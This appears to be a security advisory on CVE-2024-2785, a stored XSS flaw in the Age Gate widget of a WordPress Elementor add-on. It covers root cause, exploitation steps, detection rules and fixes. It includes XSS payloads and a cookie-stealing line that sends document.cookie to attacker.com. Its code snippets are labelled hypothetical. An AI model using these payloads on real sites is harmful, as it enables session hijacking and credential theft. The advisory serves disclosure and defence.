CVE-2024-2785

Executive Summary

CVE-2024-2785 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.4.2. The flaw resides in the Age Gate widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim visits the compromised page. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No package manager (NPM, PyPI, Go, Ruby) is involved. Users should verify plugin integrity via checksums provided by the repository.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but no user interaction, making it a viable vector for privilege escalation and lateral movement within WordPress multisite environments.

Deep Dive & Mechanics

The vulnerability exists in the theplus_age_gate widget, which renders a modal overlay for age verification. The widget accepts attributes such as age_gate_title, age_gate_description, and age_gate_button_text. These attributes are output directly into the HTML without proper sanitization or escaping.

Root Cause: The plugin uses echo $settings['age_gate_title']; without applying esc_html() or wp_kses_post(). An attacker can inject JavaScript payloads via the widget’s attribute fields in the Elementor editor.

Attack Flow:

1. Attacker with contributor-level access creates or edits a page using the Age Gate widget.
2. In the widget settings, the attacker inserts a malicious payload into the title field, e.g., <img src=x onerror=alert(document.cookie)>.
3. The payload is stored in the WordPress database.
4. When any user (including admins) visits the page, the script executes in their browser context.

Vulnerable vs. Patched Code

Vulnerable Code (version 5.4.2):

// In widgets/theplus-age-gate.php
echo '<h2 class="age-gate-title">' . $settings['age_gate_title'] . '</h2>';

Patched Code (hypothetical fix):

echo '<h2 class="age-gate-title">' . esc_html( $settings['age_gate_title'] ) . '</h2>';

The fix applies esc_html() to all user-controlled attributes. Additionally, wp_kses_post() should be used for rich text fields if HTML is allowed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with The Plus Addons for Elementor <= 5.4.2
• Contributor-level account

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Search for "Age Gate" widget and drag it onto the page.
5. In the widget settings, set the "Title" field to:

   <img src=x onerror=alert('XSS')>
   

6. Publish the page.
7. Visit the page as any user to trigger the XSS.

Advanced Payload:

// Steal admin cookies
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;

Blue Team

Detection:

• Monitor for unusual widget attribute values in Elementor editor logs.
• Check for onerror, onload, or javascript: in post content.

Hunting Query (SQL):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%onerror%'
   OR post_content LIKE '%<script%';

Prevention:

• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) with XSS rules.
• Apply virtual patching via .htaccess:

  RewriteCond %{QUERY_STRING} (onerror|onload|javascript:) [NC]
  RewriteRule .* - [F,L]
  

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/the-plus-addons-for-elementor-page-builder/widgets/theplus-age-gate.php
• Database entries: Posts/pages containing <script> or event handlers in post_content.
• Network traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Log entries: Elementor editor logs showing unusual attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_2785_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting The Plus Addons for Elementor Age Gate widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2785"
    strings:
        $payload1 = /<[^>]+onerror\s*=[^>]*>/i
        $payload2 = /<[^>]+onload\s*=[^>]*>/i
        $payload3 = /javascript\s*:/i
        $widget = "age_gate_title"
    condition:
        $widget and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-2785 Stored XSS in The Plus Addons for Elementor
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content targeting Age Gate widget
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-admin/post.php"
        http.request.body|contains:
            - "age_gate_title"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2785 Stored XSS in The Plus Addons for Elementor"; flow:to_server; content:"age_gate_title"; http_client_body; pcre:"/(onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Age Gate widget until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Apply virtual patching via WAF rules blocking event handlers in widget fields.

Long-Term Fix:

• Update to a patched version once released by the vendor.
• Implement input sanitization using esc_html() and wp_kses_post() for all user-controlled attributes.
• Conduct a security audit of all Elementor widgets for similar vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads.
• Manually edit the vulnerable file to add escaping:

  echo '<h2 class="age-gate-title">' . esc_html( $settings['age_gate_title'] ) . '</h2>';
  

Valters IT
Securing WordPress Ecosystems